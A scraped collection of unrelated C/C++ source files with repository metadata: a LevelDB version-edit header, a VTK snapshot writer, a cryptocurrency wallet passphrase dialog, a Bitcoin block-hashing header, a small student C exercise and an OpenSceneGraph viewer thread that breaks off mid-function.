// Copyright (c) 2011 The LevelDB Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. See the AUTHORS file for names of contributors. #ifndef STORAGE_LEVELDB_DB_VERSION_EDIT_H_ #define STORAGE_LEVELDB_DB_VERSION_EDIT_H_ #include <set> #include <utility> #include <vector> #include "db/dbformat.h" #include "table/table_appender.h" namespace leveldb { class VersionSet; struct FileMetaData { FileMetaData() : refs(0), allowed_seeks(1 << 30),file_size(0) {} int refs; int allowed_seeks; // Seeks allowed until compaction uint64_t file_num; uint64_t file_size; // File size in bytes InternalKey smallest; // Smallest internal key served by table InternalKey largest; // Largest internal key served by table }; class VersionEdit { public: VersionEdit() { Clear(); } ~VersionEdit() = default; void Clear(); void SetComparatorName(const Slice& name) { has_comparator_ = true; comparator_ = name.ToString(); } void SetLogNumber(uint64_t num) { has_log_number_ = true; log_number_ = num; } void SetPrevLogNumber(uint64_t num) { has_prev_log_number_ = true; prev_log_number_ = num; } void SetNextFile(uint64_t num) { has_next_file_number_ = true; next_file_number_ = num; } void SetLastSequence(SequenceNumber seq) { has_last_sequence_ = true; last_sequence_ = seq; } // Add the specified file at the specified number. // REQUIRES: This version has not been saved (see VersionSet::SaveTo) // REQUIRES: "smallest" and "largest" are smallest and largest keys in file void AddFile(int level, uint64_t file, uint64_t file_size, const InternalKey& smallest, const InternalKey& largest) { FileMetaData f; f.file_num = file; f.file_size = file_size; f.smallest = smallest; f.largest = largest; new_files_.push_back(std::make_pair(level, f)); } // Delete the specified "file" from the specified "level". void RemoveFile(int level, uint64_t file) { deleted_files_.insert(std::make_pair(level, file)); } void AddRenameTasks(uint64_t original_file_num,uint64_t target_file_num) { assert(original_file_num!=0); rename_tasks_.push_back(std::make_pair(original_file_num,target_file_num)); } void EncodeTo(std::string* dst) const; Status DecodeFrom(const Slice& src); std::string DebugString() const; private: friend class VersionSet; typedef std::set<std::pair<int, uint64_t>> DeletedFileSet; std::string comparator_; uint64_t log_number_; uint64_t prev_log_number_; uint64_t next_file_number_; SequenceNumber last_sequence_; bool has_comparator_; bool has_log_number_; bool has_prev_log_number_; bool has_next_file_number_; bool has_last_sequence_; DeletedFileSet deleted_files_; std::vector<std::pair<int, FileMetaData>> new_files_; std::vector<std::pair<uint64_t,uint64_t>> rename_tasks_; }; } // namespace leveldb #endif // STORAGE_LEVELDB_DB_VERSION_EDIT_H_
[ "yimengyu@outlook.com" ]
yimengyu@outlook.com
b080837470ae33edd065df0a91d0fd584b1d120b
ff048f7cbe35ae81c8ec4765a3fa29b829adf782
/Galerkin/src/IO/Vtk/SnapshotVtkWriter.h
0dbe1b9eb4262899bf91633c3383cec6d5331230
[]
no_license
lzhw1991/CNN-for-inverse-problems-in-wave-dynamics
2366911c06d695ebbe16697f71a172a2ece0af59
3d0154cec845e5779891254da4d9bf858d8233df
refs/heads/master
2022-04-02T16:13:57.223232
2020-02-12T20:04:36
2020-02-12T20:04:36
null
0
0
null
null
null
null
UTF-8
C++
false
false
9,944
h
#pragma once #include "BasicVtkWriter.h" #include <vector> #include "../../Utils/Base64.h" #include <zlib.h> #include <zconf.h> using std::string; using std::fstream; using std::vector; template <typename ElasticSpace> class SnapshotVtkWriter: public BasicVtkWriter<ElasticSpace> { public: typedef typename ElasticSpace::SpaceType Space; SPACE_TYPEDEFS typedef typename ElasticSpace::Elastic Elastic; void Write(const string& fileName, Elastic* data, const Vector& origin, const Vector& spacing, const AABB& wholeBox, const AABB& box, bool writeVelocity, bool writeTension, bool writeWaves, bool asScalars = false); static void WriteSnapsotCollectionHeader(std::fstream& file) { file << "<?xml version=\"1.0\"?>\n"; file << "<VTKFile type=\"Collection\" version=\"0.1\" byte_order=\"LittleEndian\">\n"; file << "<Collection>\n"; } static void WriteSnapsotCollectionLastTags(std::fstream& file) { file << "</Collection>"; file << "</VTKFile>"; } private: std::vector<Scalar> rawData; std::vector<unsigned char> compressedData; void WriteCompressedData(fstream& file, unsigned char* src, size_t srcLen); string FloatTypeName() const { switch (sizeof(Scalar)) { case 4: return "\"Float32\""; case 8: return "\"Float64\""; default: throw 42; } } void RenumberTensorComponents(const Space2::Tensor& tension, Scalar* tensionValues) const { tensionValues[0] = tension.xx; tensionValues[1] = tension.yy; tensionValues[2] = tension.xy; } void RenumberTensorComponents(const Space3::Tensor& tension, Scalar* tensionValues) const { tensionValues[0] = tension.xx; tensionValues[1] = tension.yy; tensionValues[2] = tension.zz; tensionValues[3] = tension.xy; tensionValues[4] = tension.yz; tensionValues[5] = tension.xz; } }; template <typename ElasticSpace> void SnapshotVtkWriter<ElasticSpace>::Write(const string& fileName, Elastic* data, const Vector& origin, const Vector& spacing, const AABB& wholeBox, const AABB& box, bool writeVelocity, bool writeTension, bool writeWaves, bool asScalars) { fstream file(fileName.c_str(), fstream::out | fstream::binary); if (file.fail()) return; IntAABB iaabb; ::ComputeSnapshotSize<Space>(origin, spacing, wholeBox, &iaabb); file << "<?xml version=\"1.0\"?>\n"; file << "<VTKFile type=\"ImageData\" version=\"0.1\" byte_order=\"LittleEndian\" compressor=\"vtkZLibDataCompressor\">\n"; file << "<ImageData WholeExtent=\""; // it`s impossible to create 2d snapshot directly. so we have to set third component in both 2d/3d cases. for (IndexType dimIndex = 0; dimIndex < 3; ++dimIndex) { file << iaabb.boxPoint1.Get(dimIndex) << " " << iaabb.boxPoint2.Get(dimIndex) << " "; } file << "\""; file << " Origin=\""; for (IndexType dimIndex = 0; dimIndex < 3; ++dimIndex) { file << origin.Get(dimIndex) << " "; } file << "\""; file << " Spacing=\""; for (IndexType dimIndex = 0; dimIndex < 3; ++dimIndex) { file << spacing.Get(dimIndex) << " "; } file << "\">\n"; IndexType snapshotSize = ::ComputeSnapshotSize<Space>(origin, spacing, box, &iaabb); constexpr IndexType tensorElementsCount = Space::Dimension * (Space::Dimension + 1) / 2; constexpr IndexType vectorElementsCount = 3; //we have to write 3 components regardless of space used IndexType maxElementsCount = 0; if(writeVelocity) { maxElementsCount = std::max(maxElementsCount, vectorElementsCount); } if(writeTension) { maxElementsCount = std::max(maxElementsCount, tensorElementsCount); } if(writeWaves) { maxElementsCount = std::max(maxElementsCount, IndexType(1)); } assert(maxElementsCount != 0); if (rawData.size() < snapshotSize * maxElementsCount) rawData.resize(snapshotSize * maxElementsCount); file << "<Piece Extent=\""; for (IndexType dimIndex = 0; dimIndex < 3; ++dimIndex) { file << iaabb.boxPoint1.Get(dimIndex) << " " << iaabb.boxPoint2.Get(dimIndex) << " "; } file << "\">\n"; std::string dataTypeString = "<PointData"; //this section is "active" components, not all components present. actually both "Scalars=..." and "Vectors=..." can be skipped safely if(writeTension) { dataTypeString += " Scalars=\"Stress\""; }else { if(asScalars && writeVelocity) { dataTypeString += " Scalars=\"Velocity\""; }else { if(writeWaves) { dataTypeString += " Scalars=\"abs(pWave)\""; } } } if(writeVelocity && !asScalars) { dataTypeString += " Vectors=\"Velocity\""; } dataTypeString += ">\n"; file << dataTypeString; if(writeVelocity) { file << "<DataArray NumberOfComponents=\"3\" type=" << FloatTypeName() << " Name=\"Velocity\" format=\"binary\">"; for (IndexType elasticIndex = 0; elasticIndex < snapshotSize; ++elasticIndex) { for (IndexType dimIndex = 0; dimIndex < vectorElementsCount; ++dimIndex) { rawData[3 * elasticIndex + dimIndex] = data[elasticIndex].GetVelocity().Get(dimIndex); } } WriteCompressedData(file, reinterpret_cast<unsigned char*>(rawData.data()), snapshotSize * vectorElementsCount * sizeof(Scalar)); file << "</DataArray>\n"; } if(writeTension) { file << "<DataArray NumberOfComponents=\"" << tensorElementsCount << "\" type=" << FloatTypeName() << " Name=\"Stress\" format=\"binary\">"; for (IndexType elasticIndex = 0; elasticIndex < snapshotSize; ++elasticIndex) { const Tensor& tension = data[elasticIndex].GetTension(); Scalar tensionValues[tensorElementsCount]; RenumberTensorComponents(tension, tensionValues); for (IndexType tensorElementIndex = 0; tensorElementIndex < tensorElementsCount; ++tensorElementIndex) { rawData[tensorElementsCount * elasticIndex + tensorElementIndex] = tensionValues[tensorElementIndex]; } } WriteCompressedData(file, reinterpret_cast<unsigned char*>(rawData.data()), snapshotSize * tensorElementsCount * sizeof(Scalar)); file << "</DataArray>\n"; } if(writeWaves) { //pWave file << "<DataArray NumberOfComponents=\"1\" type=" << FloatTypeName() << " Name=\"abs(pWave)\" format=\"binary\">"; for (IndexType elasticIndex = 0; elasticIndex < snapshotSize; ++elasticIndex) { const Tensor& tension = data[elasticIndex].GetTension(); const Vector& velocity = data[elasticIndex].GetVelocity(); Vector energyFlow = tension(velocity); Vector energyGradient = energyFlow.GetNorm(); Scalar pWave = energyGradient * velocity; //p-wave intensity is v * gradient rawData[elasticIndex] = fabs(pWave); } WriteCompressedData(file, reinterpret_cast<unsigned char*>(rawData.data()), snapshotSize * sizeof(Scalar)); file << "</DataArray>\n"; //sWave file << "<DataArray NumberOfComponents=\"1\" type=" << FloatTypeName() << " Name=\"sWave\" format=\"binary\">"; for (IndexType elasticIndex = 0; elasticIndex < snapshotSize; ++elasticIndex) { const Tensor& tension = data[elasticIndex].GetTension(); const Vector& velocity = data[elasticIndex].GetVelocity(); Vector energyFlow = tension(velocity); Vector energyGradient = energyFlow.GetNorm(); Scalar sWave = sqrt((energyGradient ^ velocity) * (energyGradient ^ velocity)); //s-wave intensity is v ^ gradient rawData[elasticIndex] = sWave; } WriteCompressedData(file, reinterpret_cast<unsigned char*>(rawData.data()), snapshotSize * sizeof(Scalar)); file << "</DataArray>\n"; //abs(pWave) file << "<DataArray NumberOfComponents=\"1\" type=" << FloatTypeName() << " Name=\"pWave\" format=\"binary\">"; for (IndexType elasticIndex = 0; elasticIndex < snapshotSize; ++elasticIndex) { const Tensor& tension = data[elasticIndex].GetTension(); const Vector& velocity = data[elasticIndex].GetVelocity(); Vector energyFlow = tension(velocity); Vector energyGradient = energyFlow.GetNorm(); Scalar pWave = energyGradient * velocity; //p-wave intensity is v * gradient rawData[elasticIndex] = pWave; } WriteCompressedData(file, reinterpret_cast<unsigned char*>(rawData.data()), snapshotSize * sizeof(Scalar)); file << "</DataArray>\n"; } file << "</PointData>\n"; file << "</Piece>\n"; file << "</ImageData>\n"; file << "</VTKFile>\n"; } template <typename ElasticSpace> void SnapshotVtkWriter<ElasticSpace>::WriteCompressedData(fstream& file, unsigned char* source, size_t sourceLen) { uLongf compressedDataLen = ::compressBound(sourceLen); if (compressedData.size() < compressedDataLen) compressedData.resize(compressedDataLen); ::compress(&compressedData[0], &compressedDataLen, source, sourceLen); uint32_t prefix[4]; prefix[0] = 1; prefix[1] = static_cast<uint32_t>(sourceLen); prefix[2] = static_cast<uint32_t>(sourceLen); prefix[3] = static_cast<uint32_t>(compressedDataLen); size_t outputSize; char* output = ::base64_encode(reinterpret_cast<const unsigned char*>(prefix), 4 * sizeof(uint32_t), &outputSize); if (output == nullptr) { printf("Fatal error: base64_encode returned NULL trying to encode %lu bytes", 4 * sizeof(uint32_t)); return; } file.write(output, outputSize); output = ::base64_encode(static_cast<const unsigned char*>(compressedData.data()), compressedDataLen, &outputSize); if (output == nullptr) { printf("Fatal error: base64_encode returned NULL trying to encode %lu bytes", compressedDataLen); return; } file.write(output, outputSize); }
[ "stankevich.as@phystech.edu" ]
stankevich.as@phystech.edu
364b96baf2215a0aa8ab02cd20572a9592948fd4
99778425ab9564302e48e7acbd6cb27a3c93a7dc
/src/qt/askpassphrasedialog.cpp
aa14347cdbce0ec1a0787bd56d936abe39066154
[ "MIT" ]
permissive
Tastigernet/thor-core
d5b4e48e9b38e7c61c36785bbc662e3a9d03e88b
dc60b5dfa97f382d138a38edb1fecb85d5baf0c2
refs/heads/master
2022-04-21T03:10:21.610332
2020-04-20T02:45:54
2020-04-20T02:45:54
256,633,996
0
0
MIT
2020-04-17T23:54:32
2020-04-17T23:54:31
null
UTF-8
C++
false
false
11,389
cpp
// Copyright (c) 2011-2017 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #if defined(HAVE_CONFIG_H) #include <config/bitcoin-config.h> #endif #include <qt/askpassphrasedialog.h> #include <qt/forms/ui_askpassphrasedialog.h> #include <qt/guiconstants.h> #include <qt/walletmodel.h> #include <support/allocators/secure.h> #include <QKeyEvent> #include <QMessageBox> #include <QPushButton> extern bool fWalletUnlockForgeMiningOnly; // Thor: Forge: Encrypted wallet support AskPassphraseDialog::AskPassphraseDialog(Mode _mode, QWidget *parent) : QDialog(parent), ui(new Ui::AskPassphraseDialog), mode(_mode), model(0), fCapsLock(false) { ui->setupUi(this); ui->passEdit1->setMinimumSize(ui->passEdit1->sizeHint()); ui->passEdit2->setMinimumSize(ui->passEdit2->sizeHint()); ui->passEdit3->setMinimumSize(ui->passEdit3->sizeHint()); ui->passEdit1->setMaxLength(MAX_PASSPHRASE_SIZE); ui->passEdit2->setMaxLength(MAX_PASSPHRASE_SIZE); ui->passEdit3->setMaxLength(MAX_PASSPHRASE_SIZE); // Setup Caps Lock detection. ui->passEdit1->installEventFilter(this); ui->passEdit2->installEventFilter(this); ui->passEdit3->installEventFilter(this); // Thor: Forge: Support unlocking for forge only ui->forgeOnlyLabel->hide(); fForgeOnly = fWalletUnlockForgeMiningOnly; switch(mode) { case Encrypt: // Ask passphrase x2 ui->warningLabel->setText(tr("Enter the new passphrase to the wallet.<br/>Please use a passphrase of <b>ten or more random characters</b>, or <b>eight or more words</b>.")); ui->passLabel1->hide(); ui->passEdit1->hide(); setWindowTitle(tr("Encrypt wallet")); break; case UnlockForgeMining: // Thor: Forge: Support locked wallets ui->forgeOnlyLabel->show(); fForgeOnly = true; // fallthru case Unlock: // Ask passphrase ui->warningLabel->setText(tr("This operation needs your wallet passphrase to unlock the wallet.")); ui->passLabel2->hide(); ui->passEdit2->hide(); ui->passLabel3->hide(); ui->passEdit3->hide(); setWindowTitle(tr("Unlock wallet")); break; case Decrypt: // Ask passphrase ui->warningLabel->setText(tr("This operation needs your wallet passphrase to decrypt the wallet.")); ui->passLabel2->hide(); ui->passEdit2->hide(); ui->passLabel3->hide(); ui->passEdit3->hide(); setWindowTitle(tr("Decrypt wallet")); break; case ChangePass: // Ask old passphrase + new passphrase x2 setWindowTitle(tr("Change passphrase")); ui->warningLabel->setText(tr("Enter the old passphrase and new passphrase to the wallet.")); break; } textChanged(); connect(ui->toggleShowPasswordButton, SIGNAL(toggled(bool)), this, SLOT(toggleShowPassword(bool))); connect(ui->passEdit1, SIGNAL(textChanged(QString)), this, SLOT(textChanged())); connect(ui->passEdit2, SIGNAL(textChanged(QString)), this, SLOT(textChanged())); connect(ui->passEdit3, SIGNAL(textChanged(QString)), this, SLOT(textChanged())); } AskPassphraseDialog::~AskPassphraseDialog() { secureClearPassFields(); delete ui; } void AskPassphraseDialog::setModel(WalletModel *_model) { this->model = _model; } void AskPassphraseDialog::accept() { SecureString oldpass, newpass1, newpass2; if(!model) return; oldpass.reserve(MAX_PASSPHRASE_SIZE); newpass1.reserve(MAX_PASSPHRASE_SIZE); newpass2.reserve(MAX_PASSPHRASE_SIZE); // TODO: get rid of this .c_str() by implementing SecureString::operator=(std::string) // Alternately, find a way to make this input mlock()'d to begin with. oldpass.assign(ui->passEdit1->text().toStdString().c_str()); newpass1.assign(ui->passEdit2->text().toStdString().c_str()); newpass2.assign(ui->passEdit3->text().toStdString().c_str()); secureClearPassFields(); switch(mode) { case Encrypt: { if(newpass1.empty() || newpass2.empty()) { // Cannot encrypt with empty passphrase break; } QMessageBox::StandardButton retval = QMessageBox::question(this, tr("Confirm wallet encryption"), tr("Warning: If you encrypt your wallet and lose your passphrase, you will <b>LOSE ALL OF YOUR LIGHTNINGCASH</b>!") + "<br><br>" + tr("Are you sure you wish to encrypt your wallet?"), QMessageBox::Yes|QMessageBox::Cancel, QMessageBox::Cancel); if(retval == QMessageBox::Yes) { if(newpass1 == newpass2) { if(model->setWalletEncrypted(true, newpass1)) { QMessageBox::warning(this, tr("Wallet encrypted"), "<qt>" + tr("%1 will close now to finish the encryption process. " "Remember that encrypting your wallet cannot fully protect " "your thor from being stolen by malware infecting your computer.").arg(tr(PACKAGE_NAME)) + "<br><br><b>" + tr("IMPORTANT: Any previous backups you have made of your wallet file " "should be replaced with the newly generated, encrypted wallet file. " "For security reasons, previous backups of the unencrypted wallet file " "will become useless as soon as you start using the new, encrypted wallet.") + "</b></qt>"); QApplication::quit(); } else { QMessageBox::critical(this, tr("Wallet encryption failed"), tr("Wallet encryption failed due to an internal error. Your wallet was not encrypted.")); } QDialog::accept(); // Success } else { QMessageBox::critical(this, tr("Wallet encryption failed"), tr("The supplied passphrases do not match.")); } } else { QDialog::reject(); // Cancelled } } break; case UnlockForgeMining: // Thor: Forge: Support locked wallets case Unlock: if(!model->setWalletLocked(false, oldpass)) { QMessageBox::critical(this, tr("Wallet unlock failed"), tr("The passphrase entered for the wallet decryption was incorrect.")); } else { fWalletUnlockForgeMiningOnly = fForgeOnly; // Thor: Forge: Support locked wallets QDialog::accept(); // Success } break; case Decrypt: if(!model->setWalletEncrypted(false, oldpass)) { QMessageBox::critical(this, tr("Wallet decryption failed"), tr("The passphrase entered for the wallet decryption was incorrect.")); } else { QDialog::accept(); // Success } break; case ChangePass: if(newpass1 == newpass2) { if(model->changePassphrase(oldpass, newpass1)) { QMessageBox::information(this, tr("Wallet encrypted"), tr("Wallet passphrase was successfully changed.")); QDialog::accept(); // Success } else { QMessageBox::critical(this, tr("Wallet encryption failed"), tr("The passphrase entered for the wallet decryption was incorrect.")); } } else { QMessageBox::critical(this, tr("Wallet encryption failed"), tr("The supplied passphrases do not match.")); } break; } } void AskPassphraseDialog::textChanged() { // Validate input, set Ok button to enabled when acceptable bool acceptable = false; switch(mode) { case Encrypt: // New passphrase x2 acceptable = !ui->passEdit2->text().isEmpty() && !ui->passEdit3->text().isEmpty(); break; case UnlockForgeMining: // Thor: Forge: Support locked wallets case Unlock: // Old passphrase x1 case Decrypt: acceptable = !ui->passEdit1->text().isEmpty(); break; case ChangePass: // Old passphrase x1, new passphrase x2 acceptable = !ui->passEdit1->text().isEmpty() && !ui->passEdit2->text().isEmpty() && !ui->passEdit3->text().isEmpty(); break; } ui->buttonBox->button(QDialogButtonBox::Ok)->setEnabled(acceptable); } bool AskPassphraseDialog::event(QEvent *event) { // Detect Caps Lock key press. if (event->type() == QEvent::KeyPress) { QKeyEvent *ke = static_cast<QKeyEvent *>(event); if (ke->key() == Qt::Key_CapsLock) { fCapsLock = !fCapsLock; } if (fCapsLock) { ui->capsLabel->setText(tr("Warning: The Caps Lock key is on!")); } else { ui->capsLabel->clear(); } } return QWidget::event(event); } void AskPassphraseDialog::toggleShowPassword(bool show) { ui->toggleShowPasswordButton->setDown(show); const auto mode = show ? QLineEdit::Normal : QLineEdit::Password; ui->passEdit1->setEchoMode(mode); ui->passEdit2->setEchoMode(mode); ui->passEdit3->setEchoMode(mode); } bool AskPassphraseDialog::eventFilter(QObject *object, QEvent *event) { /* Detect Caps Lock. * There is no good OS-independent way to check a key state in Qt, but we * can detect Caps Lock by checking for the following condition: * Shift key is down and the result is a lower case character, or * Shift key is not down and the result is an upper case character. */ if (event->type() == QEvent::KeyPress) { QKeyEvent *ke = static_cast<QKeyEvent *>(event); QString str = ke->text(); if (str.length() != 0) { const QChar *psz = str.unicode(); bool fShift = (ke->modifiers() & Qt::ShiftModifier) != 0; if ((fShift && *psz >= 'a' && *psz <= 'z') || (!fShift && *psz >= 'A' && *psz <= 'Z')) { fCapsLock = true; ui->capsLabel->setText(tr("Warning: The Caps Lock key is on!")); } else if (psz->isLetter()) { fCapsLock = false; ui->capsLabel->clear(); } } } return QDialog::eventFilter(object, event); } static void SecureClearQLineEdit(QLineEdit* edit) { // Attempt to overwrite text so that they do not linger around in memory edit->setText(QString(" ").repeated(edit->text().size())); edit->clear(); } void AskPassphraseDialog::secureClearPassFields() { SecureClearQLineEdit(ui->passEdit1); SecureClearQLineEdit(ui->passEdit2); SecureClearQLineEdit(ui->passEdit3); }
[ "antoinebrulenew@gmail.com" ]
antoinebrulenew@gmail.com
7b8f2f12a7751337a0217a7a74a143056e95354b
8db1c415f74e9433236e7a172b2e0a5ceffc6964
/block_hash.h
795755d4616e421586a816492add43f4da4bc3a1
[]
no_license
harutyuntagushyan8/Bitcoin_Blockchain
d4e4a66a428ae31cc7b361013f5b87a8e09a769c
3bc68cf9a046f72b02793e5339b15f07e8030bb0
refs/heads/master
2020-03-20T02:25:35.808104
2018-10-06T17:45:41
2018-10-06T17:45:41
126,668,297
0
0
null
null
null
null
UTF-8
C++
false
false
1,723
h
#ifndef BLOCK_HASH_H #define BLOCK_HASH_H #include "mainwindow.h" #include <vector> #include <cstring> #include <ctime> #include <QObject> class BLOCK : public QObject { Q_OBJECT private: void Copy_To_Block(); void Bits_To_Target(); signals: void PartialTime(uint); void finished(); void Nonce(QString, uint, QString, QString, uint, QString, QString, QString); public slots: void Initialize(Ui::MainWindow* ui); uint Nonce_Cycle(Ui::MainWindow* ui); void Find_Nonce(Ui::MainWindow* ui); uint Nonce_Cycle(Ui::MainWindow* ui, uint interval_start, uint interval_end); void Find_Nonce(Ui::MainWindow* ui, uint interval_start, uint interval_end); void Find_Test(Ui::MainWindow* ui, int); void ReceiveValues(Ui::MainWindow* ui, uint interval_start, uint interval_end); void StartFind(); private: // BLOCK HEADER std::string version; // Version number std::string prev_hash; // Previous hash std::string merkle_root; // Merkle root std::string hex_time; // Current Timestamp std::string bits; // Difficulty,Bits std::string hex_nonce; // Initial Nonce uint difficulty, bits_decimal; std::string target; uint nonce; std::string block_without_nonce; std::string header; uint timestamp; Ui::MainWindow* ui; uint interval_start; uint interval_end; }; int Hex2Int(char ch); void Reverse_by_Pair(std::string& input); std::string DoubleSHA256(std::string text); #endif // BLOCK_HASH_H
[ "htagushyan@gmail.com" ]
htagushyan@gmail.com
4945d877932d2ab629158024861b76a2713875b0
fa23308c7541bc0c9e9066a22c3e0c1ad5061c54
/B5A1/B5A1/B5A1.cpp
f042c68b1767dc89a7c89b9f4a0fba062adbc209
[]
no_license
Lenoxy/M411
c868c4f8a64d7f9b134ed72d25b636de8088254b
ee4d4d78b882e3bed5613d77a7be4d83fe7fc88a
refs/heads/master
2020-07-09T13:31:11.062105
2019-12-13T07:50:47
2019-12-13T07:50:47
203,981,271
0
0
null
null
null
null
UTF-8
C++
false
false
217
cpp
#include <stdlib.h> #include <stdio.h> void main() { int strlen(const char* pStr) { int i = 0; for (pStr; pStr != "\0"; pStr++) { i++; } return i; } int Werte[50] = {12, 32, 43, 543, 53, 65, 76, 87} }
[ "lenoxy@gmx.ch" ]
lenoxy@gmx.ch
f2dd4997901d067c515d8e8f7a9007518450ed70
78f6f3307d7e86bc00745b0febc2b2e80a96913e
/main.cc
02bdb04520127078496351650fc2929b907f49fe
[]
no_license
joem236/AndyAutomation
e9ff6b70361ec0493b8db6faf497ba5bb18aa982
61a3503cfe1aa8288efef2634c61e9b35a2c78f6
refs/heads/master
2021-01-10T20:09:48.948536
2014-01-06T23:40:25
2014-01-06T23:40:25
null
0
0
null
null
null
null
UTF-8
C++
false
false
366
cc
#include <iostream> #include <unistd.h> using namespace std; int main() { // Instantiate command processro // Instantiate alarms class // Instantiate tasks class // Instantiate controls class while (true) { // Evaluate commands // Evaluate alarm events // Evaluate task events // Evaluate control events sleep(10); } return 0; }
[ "joe@bowfusion.com" ]
joe@bowfusion.com
b27609c2eb36b6906393e48e732f96aea89fd866
e9feadee438c8b9c01046abc4d0283f293e64165
/src/Tile.h
339c40fc832242ee0c51117da9824ec3f723be52
[]
no_license
NickAllbritton/2048
46e4a94c176d7b1695e01396fdc1bbd805204623
60d8ff32b142a266c5371f595a0938c0e7c40d05
refs/heads/master
2023-08-29T03:15:08.918556
2023-08-18T02:31:24
2023-08-18T02:31:24
266,683,940
0
0
null
null
null
null
UTF-8
C++
false
false
229
h
#include <SFML/Graphics.hpp> class Tile { public: Tile() = default; Tile(sf::Vector2i pos, int number); void merge(std::vector<Tile>& board, Tile& tile, int width); int number = 0; sf::Vector2i pos = sf::Vector2i(0, 0); };
[ "nallbritton@sycamores.indstate.edu" ]
nallbritton@sycamores.indstate.edu
2b9154e0008f20a4d89f2ca72da4bdfc14e8834f
d7e946b3b85ed81a156814b7eb3f7f36412731a8
/gsilocationservicereply.h
b264fc2a5c1c2e424ac61420909c32415642bd65
[]
no_license
dev-nabeo/place_search
0bc274b3ec50cb61d4512ce5d842ca0632e6f6ef
2ea4f1234932207241dcfe228151c0abd81291bb
refs/heads/master
2022-11-15T13:57:28.120382
2020-07-17T06:04:44
2020-07-17T06:04:44
280,338,911
0
0
null
null
null
null
UTF-8
C++
false
false
629
h
#ifndef GSILOCATIONSERVICEREPLY_H #define GSILOCATIONSERVICEREPLY_H #include <QObject> #include <QtNetwork/QNetworkReply> #include <QXmlStreamReader> #include "locationservicereply.h" class GsiLocationServiceReply : public LocationServiceReply { Q_OBJECT public: explicit GsiLocationServiceReply(QNetworkReply *reply, QObject *parent = nullptr); virtual ~GsiLocationServiceReply(); private Q_SLOTS: void networkReplyFinished(); void networkReplyError(QNetworkReply::NetworkError error); private: QGeoCoordinate convertTokyoToWGS84(const QGeoCoordinate &input); }; #endif // GSILOCATIONSERVICEREPLY_H
[ "dev.nabeo@gmail.com" ]
dev.nabeo@gmail.com
87c53c8a04b5a50efd490d16332c6b3c144cc2ed
5a7c2a825728acdc41ba1c883e64def2aa0d8970
/mapreduce2/src/client/a/Reducer.hpp
027babfbc668ee4b9f2ee636b305e1d34802c15b
[]
no_license
kyhhdm/TPlatform
6f4df42b3e628f116ae4f8efb91a5a363e2e82ed
77020007648d609e074959b7cb29ee246e0cd400
refs/heads/master
2021-01-22T23:16:35.491597
2012-08-30T04:07:30
2012-08-30T04:07:30
null
0
0
null
null
null
null
UTF-8
C++
false
false
797
hpp
#ifndef TPLATFORM_MAPREDUCE_IREDUCER #define TPLATFORM_MAPREDUCE_IREDUCER #include "Collector.hpp" #include "KeyValueIterator.hpp" namespace mapreduce{ /** * class Reduce supplies an interface to reduce a set of keyvalue records with * same key to other set of keyvalue records * **/ class Reducer{ public: /** * Reduce input <Key, Values> pairs to output (Key',Value') pair * * @param key : * @param values: * @param collector : * @return : success/error code * @throws * */ virtual bool reduce(const void* key,KeyValueIterator& values,Collector& collector) const = 0; virtual ~Reducer() {}; }; } #endif
[ "kyhhdm@gmail.com" ]
kyhhdm@gmail.com
e07ab6b100c43161f3efca811809912f085cf474
df7277d8f9d404a989ddea2467297fec1da80364
/GFXUtil.h
373560a76ded0f07a1473e3cbeecf5c05df379af
[ "Unlicense" ]
permissive
15831944/Painter
6b68cd029d0937b0e04f650de24af70986376216
ab57f5d022c8b4ce8f9713cd7533fc87e5fafa3b
refs/heads/master
2023-07-15T12:17:46.353736
2021-08-28T13:49:14
2021-08-28T13:49:14
null
0
0
null
null
null
null
UTF-8
C++
false
false
890
h
// GFXUtil.h: interface for the CGFXUtil class. // ////////////////////////////////////////////////////////////////////// #if !defined(AFX_GFXUTIL_H__BD9081D5_AD6B_4F15_9545_7F4B76DAB906__INCLUDED_) #define AFX_GFXUTIL_H__BD9081D5_AD6B_4F15_9545_7F4B76DAB906__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #pragma warning ( disable:4786 ) #include <list> typedef std::list<GR::Graphic::Image*> tImageList; class CGFXUtil { public: CGFXUtil(); virtual ~CGFXUtil(); static void ReplaceColor( tImageList& list, DWORD dwColor1, DWORD dwColor2, GR::Graphic::Image* pMask = NULL ); static void SwapColor( tImageList& list, GR::u32 Color1, GR::u32 Color2, GR::Graphic::Image* pMask = NULL ); }; #endif // !defined(AFX_GFXUTIL_H__BD9081D5_AD6B_4F15_9545_7F4B76DAB906__INCLUDED_)
[ "georg@georg-rottensteiner.de" ]
georg@georg-rottensteiner.de
ed08862960d9aa6d94b3abf972bc4aa05dfe9e93
8a8641ea994010325296973ba956afa8a5c2ec73
/viewerthread.cpp
a115962f8b68a9addbf2f5f46e79461b52d5a047
[ "Apache-2.0" ]
permissive
elliott-wen/S-Helmet
05eec2f2b6ec511a7e64ce1571429e7cdb47d966
cab71d6b8db2d3141c30dc38b6c44b2d432bd4a5
refs/heads/master
2020-12-24T16:59:28.730670
2013-11-10T14:53:37
2013-11-10T14:53:37
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,502
cpp
#include "viewerthread.h" ViewerThread::ViewerThread(osgViewer::Viewer *viewer) { this->_viewer=viewer; runFlag=false; hasLoadData=false; } void ViewerThread::drawViewer() { if(!hasLoadData) { if(this->loadSceneData()!=OPEN_SOURCE_SUCCESS) { return; } } if(!_viewer->done()) { _viewer->frame(); } } ViewerThread::~ViewerThread() { timer.stop(); } void ViewerThread::stopViewer() { timer.stop(); _viewer->setDone(true); } void ViewerThread::startViewer() { timer.connect(&timer,SIGNAL(timeout()),this,SLOT(drawViewer())); timer.start(30); } int ViewerThread::cancel() { stopViewer(); return 0; } int ViewerThread::loadSceneData() { osg::ref_ptr<osg::Group> scene=new osg::Group; osg::ref_ptr<osg::PositionAttitudeTransform> matrixTransform=new osg::PositionAttitudeTransform; osg::ref_ptr<osg::Node> buildModel=osgDB::readNodeFile(this->dataSource); if(!buildModel.valid()) { return UNABLE_OPEN_SOURCE; } matrixTransform->addChild(buildModel.get()); matrixTransform->setPosition(osg::Vec3d(0,0,0)); scene->addChild(matrixTransform); osg::ref_ptr<osg::Geode> ground=drawGround(); scene->addChild(ground.get()); this->_viewer->setSceneData(scene.get()); hasLoadData=true; return OPEN_SOURCE_SUCCESS; } void ViewerThread::setDataSource(const std::string &fileName) { this->dataSource=fileName; } osg::Geode* ViewerThread::drawGround() { osg::ref_ptr<osg::Geode> 